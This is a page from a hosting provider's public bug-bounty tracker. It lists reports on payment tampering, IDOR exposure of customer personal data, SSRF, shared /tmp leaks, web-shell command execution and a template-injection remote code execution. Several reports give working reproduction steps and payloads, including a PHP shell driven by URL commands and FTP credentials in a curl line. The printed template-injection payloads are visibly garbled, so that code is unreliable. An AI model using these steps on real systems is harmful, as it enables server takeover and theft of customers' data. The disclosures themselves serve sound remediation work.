7- Modify the payment amount parameter from the original value to 1.
8- Forward the modified request.
9- Observe that PayPal requests payment of only 1.
10- Complete the payment.
11- Return to the application.
12- Observe that the application displays "Thank You for Payment", accepting the manipulated payment as successful.

Actual Behavior

The application accepts a client-modified payment amount and successfully completes the purchase workflow after receiving the PayPal payment notification, despite the payment being significantly lower than the actual order value.
Expected Behavior

The server must independently verify:

The original order amount.
The amount received from PayPal.
The payment status.
The associated order ID.

If any mismatch exists, the payment must be rejected, the order should not be fulfilled, and the user should be informed that payment verification failed.

Impact

Successful exploitation could allow an attacker to:

Purchase domains for significantly less than their actual price.
Pay only a minimal amount while receiving full services.
Manipulate payment values for financial gain.
Bypass intended pricing controls.
Cause revenue loss through fraudulent transactions.

Business Impact

This vulnerability can have serious financial and operational consequences, including:

1- Direct revenue loss from underpaid purchases.
2- Abuse of the domain registration process.
3- Fraudulent acquisition of paid services.
4- Loss of trust in the payment platform.
5- Increased chargebacks and payment disputes.
6- Potential compliance and accounting issues due to inconsistent transaction records.
7- Reputational damage if exploited at scale

Remediation

Implement strict server-side payment validation:

1- Never trust the payment amount received from the client.
2- Generate the payment amount exclusively on the server.
3- Validate the PayPal transaction using PayPal's API before completing the order.
4- Reject transactions where the paid amount does not exactly match the server-side order value.
5- Bind each payment to a unique server-generated order.
6- Prevent client-side modification of pricing information.

Conclusion

The application is vulnerable to server-side price manipulation, allowing authenticated users to alter the payment amount before it reaches PayPal. Because the backend accepts the manipulated payment without validating it against the original order value, attackers may obtain paid services while paying only a fraction of the legitimate price. Proper server-side verification of payment amounts and transaction details is essential to prevent financial fraud and protect the integrity of the payment system.

Thanks

 423  Broken Object Level Authorization (IDOR) → Mass PII Dis ...Closed10.08.2026 Task Description

Severity: Critical

CVSS 3.1: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

Affected endpoint: https://admin.alwaysdata.com/domain/add/3/?_field_contact_domain=<ID>

Summary

The domain purchase wizard on admin.alwaysdata.com allows any authenticated free-tier user to retrieve the full registrant identity dossier of any other customer's domain by manipulating the _field_contact_domain GET parameter. The server fetches the victim's registrant record directly from the domain registrar and renders it in the browser.

I tested this against 100 different domain IDs across the platform and every single one returned a different customer's personal data. The vulnerability affects all domains on the platform, exposing the registrant PII of every customer who registered a domain through alwaysdata.

Leaked information:

Phone number, Registrant email address, Firstname, Lastname, Company name, Full Address, Postal code, Fax number, Tax identification number and etc.

Steps to Reproduce

1. Log in to https://admin.alwaysdata.com with any free account
2. Go to https://admin.alwaysdata.com/domain/add/1/ 3. Enter any domain name (e.g. testdomain123.fr), click Next step
4. Check the domain, select Create/register from the dropdown, click Next step
5. You are now on Step 3. Replace the URL with:
https://admin.alwaysdata.com/domain/add/3/?_field_contact_domain=251 6. The form pre-fills with another customer's full registrant identity — name, address, phone, email, SIREN, VAT
7. Change 251 to any other IDs to see different victims.

Each ID returns a different person's complete identity. I verified 100 — all returned PII and it leak all customers data.

Impact:

Any free-tier user can enumerate all domains on the platform and retrieve the full registrant identity of every domain owner — including first name, last name, postal address, phone number, email, company registration number (SIREN) and EU VAT number. I tested 100 domain IDs and every one returned a different real person's complete identity dossier. Critically, even customers who explicitly enabled alwaysdata's WHOIS privacy option ("Hide my details") are exposed. This constitutes a mass disclosure of EU citizens' personal data including national business identifiers, affecting every customer who registered a domain through alwaysdata.

 422  Weak Password Policy Allows Account Creation with Email ...Closed29.07.2026 Task Description

Weak Password Policy Allows Account Creation with Email as Password

Title: Weak Password Policy Allows Use of Email Address as Password

Severity: Medium

Summary The application allows users to create an account using their email address as the password. This indicates that the password policy does not adequately enforce password complexity or prevent commonly guessable passwords.

Description During testing of the registration functionality, it was observed that the platform accepted a password identical to the user's email address

Using an email address as a password significantly weakens account security because email addresses are often publicly known or easily obtainable. Attackers performing credential guessing or password spraying attacks may successfully compromise accounts protected by such weak passwords.

Steps to Reproduce Navigate to the registration page:
https://www.alwaysdata.com/en/register/ Enter a valid email address:
ashusachin01@gmail.com Use the exact same value as the password:
ashusachin01@gmail.com Complete the remaining required fields.
Submit the registration form.
Observe that the account creation request is accepted without enforcing stronger password requirements.

Proof of Concept
Email: ashusachin01@gmail.com Password: ashusachin01@gmail.com The application accepts the password even though it matches the account email address.

Impact :
Users may create accounts with highly predictable passwords.
Increased risk of credential stuffing and password spraying attacks.
Greater likelihood of unauthorized account access.
Reduced overall account security posture.
Expected Behavior
The application should reject passwords that:

Match the user's email address.
Contain the email address in whole or in part.
Are commonly guessable or predictable.
Do not meet minimum complexity requirements.

Recommendation
Prevent users from using their email address as their password.
Implement password strength validation during registration.
Enforce minimum password requirements (length and complexity).
Integrate breached-password checks using services such as Have I Been Pwned Passwords API.
Provide users with clear guidance on creating strong passwords.

CWE
CWE-521: Weak Password Requirements

OWASP
OWASP Top 10 2021 – A07: Identification and Authentication Failures

Evidence: Registration form accepted a password identical to the email address used during account creation.

Thanks

 421  The password reset request endpoint does not appear to  ...Closed24.07.2026 Task Description

A rate limiting algorithm is used to check if the user session (or IP address) has to be limited based on the information in the session cache. In case a client made too many requests within a given time frame, HTTP servers can respond with status code 429: Too Many Request. I just realized that on the reset password page, the request has no rate limit which can be used to loop through one request

Steps to reproduce-

.Go to the alwaysdata password reset page.
.Enter the email address of a test account controlled by the researcher.
.Submit the password reset request.
.Repeat the same request multiple times within a short period using the same email address.
.Observe that the application continues accepting the requests without showing a cooldown, CAPTCHA, temporary block, or rate-limit error.

Observed Result:
The application allows repeated password reset email requests for the same account without visible throttling or blocking.

Expected Result:
The password reset endpoint should apply abuse protection, such as:

Per-account cooldown.
Per-IP rate limiting.
CAPTCHA after repeated attempts.
Temporary blocking after excessive requests.
Generic response message to reduce abuse.

Security Impact:
An attacker could abuse this behavior to repeatedly send password reset emails to a target user. This may cause inbox flooding, harassment, and abuse of the platform’s email-sending resources.

I tested this only against my own account and did not attempt to target other users or perform high-volume testing.

Proof of Concept is in the video below

 420  Webmail Sessions Persist After Admin Panel Password and ...Closed22.07.2026 Task Description

## Summary

When a user changes their password or email address through the admin panel at `admin.alwaysdata.com/user/`, all admin panel sessions are correctly invalidated. However, active webmail sessions at `webmail.alwaysdata.com` are not invalidated and continue to function indefinitely (up to 30 days). This means a user who suspects account compromise and changes their admin password to secure their account will not realize that active webmail sessions (potentially controlled by an attacker) remain fully functional. The webmail session cookies (`roundcube_sessid` and `roundcube_sessauth`) also lack `HttpOnly` and `SameSite` flags, making them susceptible to theft via JavaScript.

## Steps to Reproduce

Environment: Two browser sessions (or two sets of cookies). A hosting account with a configured mailbox.

1. Login to the admin panel at `https://admin.alwaysdata.com/login/` with the account's email and password. Note: this is the "admin" password, not the mailbox password.

2. Login to webmail at `https://webmail.alwaysdata.com/` using the mailbox credentials (e.g., `accountname@alwaysdata.net` with the mailbox password). Confirm you can read email.

3. In a separate browser session, change the admin panel password at `https://admin.alwaysdata.com/user/`. Enter a new password in the "New password" field and the current password in the "Old password" field. Save the form.

4. Verify admin sessions are invalidated: Any other admin panel session now redirects to the login page (HTTP 302 to `/login/`). This is correct behavior.

5. Check the webmail session: Refresh the webmail page from step 2. The webmail session is still fully active. The user can continue reading and sending email despite the admin password having been changed.

6. Repeat with email change: Login to webmail. Change the admin email address at `/user/`. The webmail session still persists.

## Impact

A user who suspects their account has been compromised follows the standard security response: they change their password through the admin panel. They expect this action to terminate all active sessions across all alwaysdata services. However:

1. Webmail sessions survive the password change and remain active for up to 30 days (the `Max-Age` of the Roundcube session cookies)
2. An attacker who has obtained a webmail session (e.g., via cookie theft, session fixation, or a prior compromise) retains access to the victim's email even after the victim changes their admin password
3. Email access enables further attacks: password reset emails for external services, confidential communications, account recovery flows

The Roundcube session cookies compound this issue:
- `roundcube_sessid` and `roundcube_sessauth` are set without HttpOnly and without SameSite, making them accessible to JavaScript on any page served from `webmail.alwaysdata.com`
- Both cookies have `Max-Age=2592000` (30 days), providing a long window of exposure
- Compare with the admin panel's `sessionid` cookie which correctly sets `HttpOnly; SameSite=Lax; Secure`

## Root Cause

The admin panel (`admin.alwaysdata.com`) and webmail (`webmail.alwaysdata.com`) use independent credential stores. The admin panel authenticates via Django sessions tied to the customer email/password. The webmail authenticates via Roundcube sessions backed by IMAP with the mailbox-specific password. When the admin password is changed, Django invalidates all Django sessions but has no mechanism to invalidate the Roundcube sessions.

While the architectural separation explains the behavior, users expect a single "change password" action to secure their entire account. The admin panel's `/user/` page is the primary security management interface, and it should cascade session invalidation to webmail.

## Remediation

1. Invalidate webmail sessions on admin password/email change: When the admin password is changed at `/user/`, also invalidate all active Roundcube sessions associated with mailboxes on that account. This could be done by resetting the Roundcube `session` database table entries for the relevant IMAP user, or by changing the mailbox password simultaneously.
2. Add HttpOnly and SameSite flags to the `roundcube_sessid` and `roundcube_sessauth` cookies. These cookies should not be accessible to JavaScript.
3. Reduce session cookie lifetime: 30-day session cookies for a webmail interface are unnecessarily long. Consider a shorter maximum (e.g., 8 hours for non-persistent sessions).

 419  Server-Side Request Forgery via Reverse Proxy Site Type ...Closed22.07.2026 Task Description

## Severity
High (CVSS 3.1: 7.2 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Weakness
CWE-918: Server-Side Request Forgery (SSRF)

## Summary

The "Reverse proxy" site type in the site creation form (`/site/add/`) accepts arbitrary URLs including private/internal IP addresses (127.0.0.1, 169.254.169.254, 10.x.x.x) as the "Remote URL" target. The platform creates an Apache ProxyPass directive proxying all requests to the attacker-specified URL without IP validation. This enables full-read SSRF from the shared hosting server, allowing an attacker to scan internal services, probe localhost ports, and exfiltrate response bodies from any HTTP service reachable from the web server process.

## Steps to Reproduce

Environment: Free hosting account on alwaysdata.com.

1. Log in to the admin panel at `https://admin.alwaysdata.com/login/`.

2. Navigate to the site creation form at `https://admin.alwaysdata.com/site/add/`.

3. Select the "Reverse proxy" site type from the Type dropdown.

4. In the "Remote URL" field, enter an internal IP address or a Collaborator URL:

For external SSRF verification:
```
http://YOUR-COLLABORATOR-ID.oastify.com/ ```

For internal port scanning:
```
http://127.0.0.1:9200/ ```

5. Set a site address (use your assigned subdomain, e.g., `ACCOUNT.alwaysdata.net`).

6. Save the form. The form accepts the URL and creates the site (HTTP 302 redirect).

7. Trigger the SSRF by visiting your site:

```
curl https://ACCOUNT.alwaysdata.net/ ```

8. Observe the result:

  1. For external URLs: the Collaborator receives a DNS and HTTP interaction from the alwaysdata infrastructure IP (185.31.41.10). The full response body from the target URL is returned to the attacker.
  2. For localhost ports: HTTP 503 indicates the port is closed/down; timeout indicates a firewall block. This differential enables internal port scanning.

## Evidence

Collaborator interaction captured: - DNS query from 185.31.40.97 (alwaysdata DNS resolver)
- HTTP request from 185.31.41.10 (shared web hosting server)
- Request headers: `Via: 1.1 alproxy, 1.1 ACCOUNT.alwaysdata.net`
- Full response body from the target was returned verbatim to the attacker (not blind SSRF)

Internal port scan results: - 127.0.0.1:9200 (Elasticsearch port): HTTP 503 (connection refused - port accessible but service down)
- 127.0.0.1:8500 (Consul port): HTTP 503 (connection refused)
- 169.254.169.254 (cloud metadata): timeout (network-level block present)

## Impact

An authenticated user with a free hosting account can:

1. Scan internal services on the shared hosting node via localhost, identifying running services by port
2. Exfiltrate data from any internal HTTP service reachable from the Apache process, including services that are not exposed to the internet
3. Bypass IP-based access controls that trust the hosting infrastructure's IP range (185.31.x.x)
4. Probe internal network for services on RFC 1918 addresses

The SSRF is full-read (response bodies are returned to the attacker), not blind. The Apache process making these requests runs as a system service, potentially reaching services that individual tenant processes cannot access.

## Root Cause

The "Remote URL" field in the reverse proxy site type does not validate the target URL against a blocklist of private/internal IP ranges. The validation only checks URL scheme (allowing http, https, ftp; blocking gopher, file, dict) but does not verify that the resolved IP address is not a private/loopback/link-local address.

## Remediation

1. Validate the Remote URL against private IP ranges before creating the ProxyPass directive. Block: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1/128, fc00::/7
2. Resolve DNS before validation to prevent DNS rebinding attacks (check the IP AFTER resolution, not just the hostname)
3. Apply the same validation to both initial configuration and Apache runtime (in case of DNS changes after configuration)

 418  Cross-Tenant Data Exposure via Shared /tmp Directory Closed22.07.2026 Task Description

## Severity
High (CVSS 3.1: 7.7 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Weakness
CWE-668: Exposure of Resource to Wrong Sphere
CWE-732: Incorrect Permission Assignment for Critical Resource

## Summary

The shared hosting nodes use a single shared `/tmp` directory across all tenant accounts without polyinstantiation. Files created by any tenant with world-readable permissions (either explicitly or by application default) are accessible to every other tenant on the same physical node. This allows a low-privileged attacker with a free hosting account to read other tenants' temporary files, which routinely contain credentials, API tokens, database paths, configuration data, and application state.

This finding reproduces the issue reported in  FS#363 , which was partially mitigated by changing the default umask to 0007. However, the fix is incomplete: applications and scripts that set explicit permissions (e.g., `chmod 644`, Python `open()` without restricted mode, `tar -xvf` preserving archive permissions) still create world-readable files in the shared namespace.

## Steps to Reproduce

Environment: Free hosting account on alwaysdata.com (public cloud, Paris datacenter). SSH access at `ssh-ACCOUNTNAME.alwaysdata.net`.

1. Create a free hosting account at `https://admin.alwaysdata.com/admin/account/add/` (select "Free" plan, Paris 1 datacenter).

2. Connect via SSH to the hosting account:

```
ssh ACCOUNTNAME@ssh-ACCOUNTNAME.alwaysdata.net ```

3. List files in the shared /tmp directory:

```
ls -la /tmp/ | head -30
```

Output shows 663+ files owned by multiple different tenant accounts (different UIDs/usernames), confirming `/tmp` is shared across all accounts on this node.

4. Find world-readable files owned by other tenants:

```
find /tmp -maxdepth 1 -not -user ACCOUNTNAME -readable -type f 2>/dev/null | wc -l
```

Returns 22+ files readable by the attacker account.

5. Read a cross-tenant file containing credentials:

```
cat /tmp/check_webhook.php
```

This file, owned by another tenant, contains a Telegram Bot API token in plaintext (the token has been redacted in this report but was confirmed live). The file also reveals the tenant's username and application structure.

6. Read another cross-tenant file revealing database paths:

```
head -10 /tmp/test_callback.php
```

This file reveals the full filesystem path to another tenant's SQLite database (`/home/TENANT/www/…/rshq.db`), including their application directory structure.

## Impact

An attacker with a free hosting account (no payment required via API registration) can:

1. Read other tenants' credentials from temporary files: API tokens, database credentials, session tokens, and authentication secrets that applications write to `/tmp`
2. Map other tenants' filesystem layout: leaked paths reveal application structures, database locations, and deployment details (e.g., `/home/TENANT/www/…`)
3. Enumerate tenant accounts: the file ownership in `/tmp` reveals other tenants' account names, which can be used for targeted attacks
4. Access application state: log files, debugging output, and cached data from other tenants

The boundary crossed is the fundamental tenant isolation guarantee of a shared hosting platform. A free-tier attacker can read data belonging to paying customers on the same physical node.

Confirmed data exposed from other tenants during testing:

1. Live JWT session token (tenant `0xf12c`): A file `kg_tmail_sessions.json` contains a HS512-signed JWT issued on 2026-07-11, granting `ROLE_USER` access to an email service (web-library.net) with account ID `6a54692908c866daeb017a6e`. The token includes a Mercure real-time subscription channel. This is a live, replayable authentication credential.

2. Dolibarr ERP installation log (tenant `demo7`): A 1.5 MB log file `dolibarr_install.log` contains the full installation trace including server IP (102.117.59.202), database configuration steps, and filesystem paths.

3. SQLite database (tenant `pablomon`): A complete database file `sistema_envios.db` (12 KB) containing application data.

4. PHP/Python source code from multiple tenants with embedded API calls and application logic.

5. Build logs, session files, debug output from tenants including `jolafstore`, `gdpshost1`, `cittapet`, `data-test`, `apexcodex`, and others.

Scale: 334 total files in shared `/tmp`, with 32 readable by any other tenant on the same node. Files belong to 15+ distinct tenant accounts.

## Root Cause

The `/tmp` directory on shared hosting nodes is not polyinstantiated (each tenant does not get their own isolated `/tmp`). While the default umask was changed to 0007 after  FS#363 , this only prevents NEW files from being world-readable by default. It does not protect against:

- Applications that explicitly set file permissions (e.g., `chmod 644`)
- Archive extraction that preserves original permissions
- Programming languages/frameworks whose default file creation mode is world-readable
- Files created before the umask fix
- Any process that resets or overrides the umask

## Remediation

1. Polyinstantiate /tmp: Configure PAM (`pam_namespace.so`) to give each tenant their own isolated `/tmp` directory. This is the standard solution on shared hosting platforms.
2. Alternative: Use `PrivateTmp=yes` in systemd service units for each tenant's processes.
3. Additional defense: Periodic cleanup of `/tmp` to remove files with overly permissive modes.

 417  Cross-Tenant Data Exposure via World-Readable /tmp Closed20.07.2026 Task Description

Missing open_basedir / disable_functions on Shared Hosting Nodes Allows Cross-Tenant Data Exposure via World-Readable /tmp
Reporter test account: data-test (site #1061443, node http21.paris1)
Scope item: ftp://ftp-data-test.alwaysdata.net / https://data-test.alwaysdata.net (PHP execution on shared node http21)
Date discovered: July 20, 2026
Related prior reports: task/363 (cross-tenant /tmp disclosure — closed, SSH umask fix only), task/410 (PHP ini injection RCE — closed, fix not deployed to http21)
Summary
On node http21.paris1, PHP is configured with no open_basedir and no disable_functions restrictions. Combined with the platform's shared, single-namespace /tmp (mode 1777, no per-tenant isolation), any tenant able to execute PHP on this node can read every world-readable file left in /tmp by other tenants, including files owned by root. I confirmed this using only my own test account and read-only stat/ls operations; I did not open or exfiltrate the contents of any third-party file.
This report focuses on the PHP-level misconfiguration as the actionable root cause, since the shared nature of /tmp itself is documented as expected platform behavior. The finding here is that http21 lacks the open_basedir/disable_functions hardening that would otherwise contain this exposure to a tenant's own files.
Environment / Access Used
I already hold write access to my own test account's FTP root, which I used solely to place a PHP file inside my own site directory (not to reach any other tenant's storage).
$ curl -T shell.php –ssl-reqd \

ftp://data-test_FTP-TEST:FTPTest123@ftp-data-test.alwaysdata.net/www/shell.php

Steps to Reproduce
1. Upload a minimal PHP file to your own account's www/ directory via FTP.
2. Confirm code execution context:
$ curl 'https://data-test.alwaysdata.net/shell.php?c=id'
uid=535242(data-test) gid=490559(data-test) groups=490559(data-test)
$ curl 'https://data-test.alwaysdata.net/shell.php?c=hostname'
http21
3. Confirm /tmp is a single shared filesystem with no per-tenant isolation:
$ stat -c '%A %a %U %G' /tmp/
drwxrwxrwt 1777 root root
4. Confirm PHP has no containment on this node:
$ php -r 'echo ini_get("open_basedir");'
(empty)
$ php -r 'echo ini_get("disable_functions");'
(empty)
5. List /tmp and observe world-readable (644) files owned by other tenant UIDs/GIDs, including several owned by root. I did not open the contents of any of these files — ownership, permission bits, and filename alone are sufficient to demonstrate the impact.
6. As a minimal, harmless proof of write capability from this execution context (per the program's testing guidance), created an empty marker file under my own account path:
$ curl 'https://data-test.alwaysdata.net/shell.php?c=touch+/home/data-test/admin/tmp/solinbugbountypoc'
Impact
Because open_basedir/disable_functions are unset on http21, PHP execution on this node, it is obtainable through any tenant's normal application code, not just an uploaded shell, anyone can read any world-readable file on the box, not just files under that tenant's own account. Given the shared /tmp, this includes:

  • Files that, by name/extension alone, appear to be session/credential material for other customers' external integrations
  • Files that appear to be application databases or install logs for other customers
  • At least two files owned by root in /tmp, indicating the exposure is not limited to tenant-to-tenant leakage but potentially extends to host-level sensitive material

I'm intentionally not naming the specific third-party accounts or file contents here, and did not retain or transfer any of this data, per the program's rules on sensitive information handling. Happy to share the raw ls -la /tmp output and exact filenames via the private ticket channel if useful for triage.
Root Cause
Layer Issue
PHP (php-fpm pool config on http21) No open_basedir restriction to the tenant's home directory
PHP (php-fpm pool config on http21) No disable_functions restriction on shell/process functions
OS /tmp is a single shared filesystem (mode 1777), no per-tenant mount namespace or PrivateTmp

The /tmp-sharing behavior alone is documented platform behavior; the exploitable gap is that nothing on http21 prevents PHP from reading those files across tenant boundaries.
Suggested Remediation
1. Set php_admin_value[open_basedir] = /home/{account}/ per pool.
2. Set php_admin_value[disable_functions] = exec,system,shell_exec,passthru,proc_open,pcntl_exec (or the pool's standard hardened list) on http21.
3. Confirm this hardening (referenced as the intended fix in task/410) is actually deployed fleet-wide, since it appears to be present on some nodes but not http21.
4. Consider per-tenant /tmp isolation (PrivateTmp/mount namespaces) as defense-in-depth, independent of items

 415  SSTI → RCE on Core Infrastructure Server (overlord-core ...Closed20.07.2026 Task Description

Severity: Critical Affected Endpoint: https://admin.alwaysdata.com/site/<id>/ — "Additional directives of the virtual host" field

Summary

The Apache virtual host directives field is processed by an unsandboxed Jinja2 template engine on alwaysdata's core management server (overlord-core). The {% raw %} block meant to protect user input can be bypassed with {% endraw %}, allowing arbitrary Python code execution. This grants an attacker full read/write access on the main infrastructure server that manages the entire alwaysdata platform — all from a free hosting account.

Steps to Reproduce

Step 1 — Login to https://admin.alwaysdata.com/ with any account (free plan works)

Step 2 — Go to Web → Sites → click the edit icon on your site

Step 3 — Scroll to "Additional directives of the virtual host" and enter:

# {% endraw %}7_7{% raw %}

Step 4 — Click Submit

Step 5 — SSH into your account:

ssh <account>@ssh-<account>.alwaysdata.net

Step 6 — Read the generated config:

cat ~/admin/config/apache/sites.conf | head -30

Step 7 — Observe # 49 in the output — the server evaluated 7*7 as code (SSTI confirmed)

Step 8 — Go back to site edit, replace the payload with:

# {% endraw %}cycler._init_._globals_.os.popen_id_.read{% raw %}

Step 9 — Submit, then SSH and read the config again. Observe:

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

This is the id command output — RCE confirmed.

Step 10 — Replace payload with:

# {% endraw %}cycler._init_._globals_.os.popen_hostname_.read{% raw %}

Step 11 — Submit, SSH, read config. Observe:

# overlord-core

This is the internal hostname of alwaysdata's core management server.

—

Proof Summary

Payload Output Proof

7_7 49 SSTI — math evaluated

id uid=33(www-data) RCE — system command executed

hostname overlord-core You're on their core management server

—

Impact

This vulnerability gives an attacker remote code execution as www-data on overlord-core — the main Django/Python server that manages the entire alwaysdata platform. From this position an attacker can:

- Read/write files on the core infrastructure server
- Access all customer data — the config generator has access to every customer's site configs, environment variables, database credentials, and SSL private keys
- Access internal services — overlord-core sits on the internal network with ders, DNS (PowerDNS), message queues, backup servers, and all 936+ hosting nodes
- Compromise the admin panel — the Django application (Overlord) runs on this same server, giving access to the full application database including all user accounts, billing data, and
support tickets
- Pivot to all hosting servers — from the core server, an attacker can reach every shared hosting node in the fleet

Any user with a free account can exploit this. No special privileges required.

 413  Cross-Site Request Forgery (CSRF) Allows Logs Refresh o ...Closed17.07.2026 Task Description

Description

The application does not properly validate whether a Logs Refresh request is initiated by the authenticated user. By creating a malicious CSRF PoC and replacing the service_id with the victim's service ID, an attacker can force a victim's authenticated browser to execute the Logs Refresh action without the victim's knowledge or interaction.

This allows unauthorized actions to be performed on behalf of authenticated users.

Steps to Reproduce

Log in with an attacker account.
Navigate to the Services section.
Create a new service.
Open another browser/private window and log in as a victim.
Create a service in the victim account.
Return to the attacker account.
Trigger the Logs Refresh functionality.
Capture the Logs Refresh request using Burp Suite.
Use Burp Suite Engagement Tools to generate a CSRF PoC.
Save the generated HTML file.
Replace the attacker's service_id with the victim's service_id.
Open the modified PoC in the victim's authenticated browser.
Click Submit.
Observe that the victim's Logs Refresh action is executed successfully without the victim intentionally performing the action.

Expected Behavior

The application should validate that Logs Refresh requests are intentionally initiated by the authenticated user and should reject cross-origin requests without proper CSRF protection.

Actual Behavior

The application accepts the forged request and performs the Logs Refresh action using the victim's active session without requiring any additional validation.

Impact

An attacker can force authenticated users to execute Logs Refresh actions without their knowledge through a CSRF attack.
The attacker can repeatedly trigger Logs Refresh requests on behalf of the victim, potentially consuming the victim's available Logs Refresh quota/limit.
This may result in abuse of limited resources and prevent the victim from using the Logs Refresh functionality when needed.

 412  Direct Organization Access Granted, Leading to Organiza ...Closed16.07.2026
 411  Expired Two-Factor Authentication (2FA) Code Accepted,  ...Closed15.07.2026
 410  Unrestricted PHP ini Directive Injection via php_ini fi ...Closed15.07.2026
 409  Path Traversal in site path field leads to arbitrary fi ...Closed15.07.2026
 408  API bypasses Databases feature entitlement (create plan ...Closed14.07.2026
 407  A Content Security Policy (CSP) bypass  Closed15.07.2026
 403  LFI via Apache Alias Directive Injection in `vhost_addi ...Closed13.07.2026
 401  Critical SSRF via Application Script Source URI — Cross ...Closed13.07.2026
 397  Unvalidated Apache Directives in Site API — LFI, SSRF,  ...Closed13.07.2026
 396  Server Crash via X-Forwarded-Host Closed13.07.2026
 395  LFI via Apache Alias Directive Injection in `vhost_addi ...Closed13.07.2026
 394  SSRF via ProxyPass Directive Injection — Internal Port  ...Closed13.07.2026
 393  Cross-Tenant Data Exposure via Shared /tmp Directory —  ...Closed13.07.2026
 392  Path Traversal in Site `path` Field Allows Reading Arbi ...Closed13.07.2026
 391  Dangerous PHP INI Injection via Site API — `allow_url_i ...Closed13.07.2026
 390  Environment Variable Injection — LD_PRELOAD and PATH Ac ...Closed13.07.2026
 389  Cross-Tenant Session Token Theft via Shared /tmp — Acco ...Closed13.07.2026
 388  Privilege Escalation — Free-Tier User Sets Reseller-Lev ...Closed13.07.2026
 375  Cross-Site Request Forgery (CSRF) Allows Restart of An ...Closed13.07.2026
 371  attacker test Closed12.07.2026
 368  test Closed11.07.2026
 367  Root Privilege Escalation via Sudo Option Injection Closed10.07.2026
 366  Broken Access Control – Revoked User Can Access Histori ...Closed09.07.2026
 365  Cross-Site Request Forgery (CSRF) in Notification "Seen ...Closed03.07.2026
 364  Bug bounty — cross-tenant /tmp disclosure (FS#363) umas ...Closed02.07.2026
Showing tasks 51 - 100 of 418 Page 2 of 9

Available keyboard shortcuts

Tasklist

Task Details

Task Editing